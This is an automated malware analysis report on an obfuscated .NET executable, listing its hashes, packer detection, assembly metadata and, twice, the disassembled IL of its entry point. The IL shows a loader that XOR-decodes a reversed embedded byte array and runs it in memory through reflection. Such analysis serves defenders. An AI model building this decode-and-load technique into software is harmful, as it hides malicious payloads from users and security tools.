Deep Malware Analysis of a4cb3e35a12ce0e90c1334608f38cf42 | md5: a4cb3e35a12ce0e90c1334608f38cf42 | Executable | PE (Portable Executable) | Managed .NET | PE File Layout | Win 32 Exe | x86 | .Net | SOS: 0.84

PE Executable

MD5: a4cb3e35a12ce0e90c1334608f38cf42

Size: 5.56 MB

application/x-dosexec

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Symbol Obfuscation Score Very high

MD5	a4cb3e35a12ce0e90c1334608f38cf42
Sha1	65f0f01b84925a6a56179eec5d688be6ada78c1d
Sha256	2d44efd28bad1cd2c8dfb6f21c89b2c105781b0aec01b0951a64d6f1deaef64e
Sha384	f0e47d2b9c2a8714ae8290ef5a150fe3ee0d16bfcbb4c27f9324607774c55f7fa3ce2b3e4fe339b8b2a045aeb10cf98d
Sha512	2a08a8fe40dc68b35ad2f0a97a53415e2f8c57e6ad1576e3308c80d28ea8b11c4b3bdc7b08fd02f8bc59ed3841b1c5e9ef87fcfc73cb49a6a3860042ca44aa42
SSDeep	98304:nH0mKBUVksBHhsuMvgPQSa3v0fRg9Q37PE4rm1:ngUGsBHBMIPQSrg9Ibry
TLSH	E646122536C35E08C93F8778893A868517F3AD4FEE11C36EB64635CCEA4A3475622B17

PeID

.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NETUPolyX 0.3 -> delikon

Name	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	df0RFx
Full Name	df0RFx
EntryPoint	System.Void df0RFx.eMd9rc::0b_DajE86Ktrk()
Scope Name	df0RFx
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	df0RFx
Assembly Version	25.13.26.41
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.6
Total Strings	836
Main Method	System.Void df0RFx.eMd9rc::0b_DajE86Ktrk()
Main IL Instruction Count	167
Main IL	nop <null> ldstr C:\ProgramData\app_init.flag call System.Boolean System.IO.File::Exists(System.String) ldc.i4.0 <null> ceq <null> stloc.0 <null> ldloc.0 <null> brfalse.s IL_0029: nop ldstr C:\ProgramData\app_init.flag ldstr 1 call System.Void System.IO.File::WriteAllText(System.String,System.String) nop <null> call System.Void System.Windows.Forms.Application::Exit() nop <null> nop <null> nop <null> call System.Void System.Windows.Forms.Application::EnableVisualStyles() nop <null> ldc.i4.0 <null> call System.Void System.Windows.Forms.Application::SetCompatibleTextRenderingDefault(System.Boolean) nop <null> nop <null> ldnull <null> stloc.1 <null> ldloc.1 <null> ldnull <null> ldstr GetDefault ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) stloc.2 <null> leave.s IL_0066: nop dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0066: nop nop <null> nop <null> ldc.i4.s 20 call System.Void System.Threading.Thread::Sleep(System.Int32) nop <null> call System.Byte[] df0RFx.ze7BDng1t4Cr3A::ex0DNka93Twi() call System.Collections.Generic.IEnumerable`1<System.Byte> System.Linq.Enumerable::Reverse<System.Byte>(System.Collections.Generic.IEnumerable`1<System.Byte>) call System.Byte[] System.Linq.Enumerable::ToArray<System.Byte>(System.Collections.Generic.IEnumerable`1<System.Byte>) stloc.s V_4 ldloc.s V_4 ldlen <null> conv.i4 <null> ldc.i4.1 <null> sub.ovf <null> stloc.s V_8 ldc.i4.0 <null> stloc.s V_9 br.s IL_00B4: ldloc.s V_9 ldloc.s V_9 ldc.i4.s 9 rem <null> ldc.i4.0 <null> ceq <null> stloc.s V_10 ldloc.s V_10 brfalse.s IL_00AD: nop ldloc.s V_4 ldloc.s V_9 ldloc.s V_4 ldloc.s V_9 ldelem.u1 <null> ldc.i4 243 xor <null> stelem.i1 <null> nop <null> nop <null> ldloc.s V_9 ldc.i4.1 <null> add.ovf <null> stloc.s V_9 ldloc.s V_9 ldloc.s V_8 ble.s IL_008E: ldloc.s V_9 ldloc.s V_4 call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) stloc.s V_5 ldloc.s V_5 callvirt System.Type[] System.Reflection.Assembly::GetTypes() stloc.s V_6 ldloc.s V_6 ldlen <null> conv.i4 <null> ldc.i4.s 24 cgt <null> ldc.i4.0 <null> ceq <null> stloc.s V_11 ldloc.s V_11 brfalse.s IL_00DF: ldloc.s V_6 leave.s IL_015E: ret ldloc.s V_6 ldc.i4.s 24 ldelem.ref <null> stloc.s V_7 ldloc.s V_7 ldnull <null> ceq <null> stloc.s V_12 ldloc.s V_12 brfalse.s IL_00F3: ldloc.s V_7 leave.s IL_015E: ret ldloc.s V_7 ldc.i4.s 56 callvirt System.Reflection.MethodInfo[] System.Type::GetMethods(System.Reflection.BindingFlags) stloc.s V_13 ldc.i4.0 <null> stloc.s V_14 br.s IL_0140: ldloc.s V_14 ldloc.s V_13 ldloc.s V_14 ldelem.ref <null> stloc.s V_15 ldloc.s V_15 callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters() ldlen <null> conv.i4 <null> ldc.i4.0 <null> ceq <null> stloc.s V_16 ldloc.s V_16 brfalse.s IL_0138: nop nop <null> ldloc.s V_15 ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> leave.s IL_0136: nop call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0136: nop nop <null> nop <null> nop <null> nop <null> ldloc.s V_14 ldc.i4.1 <null> add.ovf <null> stloc.s V_14 ldloc.s V_14 ldloc.s V_13 ldlen <null> conv.i4 <null> clt <null> stloc.s V_17 ldloc.s V_17 brtrue.s IL_0103: ldloc.s V_13 leave.s IL_015D: nop call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_015D: nop nop <null> ret <null>
Module Name	df0RFx
Full Name	df0RFx
EntryPoint	System.Void df0RFx.eMd9rc::0b_DajE86Ktrk()
Scope Name	df0RFx
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	df0RFx
Assembly Version	25.13.26.41
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.6
Total Strings	836
Main Method	System.Void df0RFx.eMd9rc::0b_DajE86Ktrk()
Main IL Instruction Count	167
Main IL	nop <null> ldstr C:\ProgramData\app_init.flag call System.Boolean System.IO.File::Exists(System.String) ldc.i4.0 <null> ceq <null> stloc.0 <null> ldloc.0 <null> brfalse.s IL_0029: nop ldstr C:\ProgramData\app_init.flag ldstr 1 call System.Void System.IO.File::WriteAllText(System.String,System.String) nop <null> call System.Void System.Windows.Forms.Application::Exit() nop <null> nop <null> nop <null> call System.Void System.Windows.Forms.Application::EnableVisualStyles() nop <null> ldc.i4.0 <null> call System.Void System.Windows.Forms.Application::SetCompatibleTextRenderingDefault(System.Boolean) nop <null> nop <null> ldnull <null> stloc.1 <null> ldloc.1 <null> ldnull <null> ldstr GetDefault ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) stloc.2 <null> leave.s IL_0066: nop dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0066: nop nop <null> nop <null> ldc.i4.s 20 call System.Void System.Threading.Thread::Sleep(System.Int32) nop <null> call System.Byte[] df0RFx.ze7BDng1t4Cr3A::ex0DNka93Twi() call System.Collections.Generic.IEnumerable`1<System.Byte> System.Linq.Enumerable::Reverse<System.Byte>(System.Collections.Generic.IEnumerable`1<System.Byte>) call System.Byte[] System.Linq.Enumerable::ToArray<System.Byte>(System.Collections.Generic.IEnumerable`1<System.Byte>) stloc.s V_4 ldloc.s V_4 ldlen <null> conv.i4 <null> ldc.i4.1 <null> sub.ovf <null> stloc.s V_8 ldc.i4.0 <null> stloc.s V_9 br.s IL_00B4: ldloc.s V_9 ldloc.s V_9 ldc.i4.s 9 rem <null> ldc.i4.0 <null> ceq <null> stloc.s V_10 ldloc.s V_10 brfalse.s IL_00AD: nop ldloc.s V_4 ldloc.s V_9 ldloc.s V_4 ldloc.s V_9 ldelem.u1 <null> ldc.i4 243 xor <null> stelem.i1 <null> nop <null> nop <null> ldloc.s V_9 ldc.i4.1 <null> add.ovf <null> stloc.s V_9 ldloc.s V_9 ldloc.s V_8 ble.s IL_008E: ldloc.s V_9 ldloc.s V_4 call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) stloc.s V_5 ldloc.s V_5 callvirt System.Type[] System.Reflection.Assembly::GetTypes() stloc.s V_6 ldloc.s V_6 ldlen <null> conv.i4 <null> ldc.i4.s 24 cgt <null> ldc.i4.0 <null> ceq <null> stloc.s V_11 ldloc.s V_11 brfalse.s IL_00DF: ldloc.s V_6 leave.s IL_015E: ret ldloc.s V_6 ldc.i4.s 24 ldelem.ref <null> stloc.s V_7 ldloc.s V_7 ldnull <null> ceq <null> stloc.s V_12 ldloc.s V_12 brfalse.s IL_00F3: ldloc.s V_7 leave.s IL_015E: ret ldloc.s V_7 ldc.i4.s 56 callvirt System.Reflection.MethodInfo[] System.Type::GetMethods(System.Reflection.BindingFlags) stloc.s V_13 ldc.i4.0 <null> stloc.s V_14 br.s IL_0140: ldloc.s V_14 ldloc.s V_13 ldloc.s V_14 ldelem.ref <null> stloc.s V_15 ldloc.s V_15 callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters() ldlen <null> conv.i4 <null> ldc.i4.0 <null> ceq <null> stloc.s V_16 ldloc.s V_16 brfalse.s IL_0138: nop nop <null> ldloc.s V_15 ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> leave.s IL_0136: nop call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0136: nop nop <null> nop <null> nop <null> nop <null> ldloc.s V_14 ldc.i4.1 <null> add.ovf <null> stloc.s V_14 ldloc.s V_14 ldloc.s V_13 ldlen <null> conv.i4 <null> clt <null> stloc.s V_17 ldloc.s V_17 brtrue.s IL_0103: ldloc.s V_13 leave.s IL_015D: nop call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_015D: nop nop <null> ret <null>

No malware configuration was found at this point.

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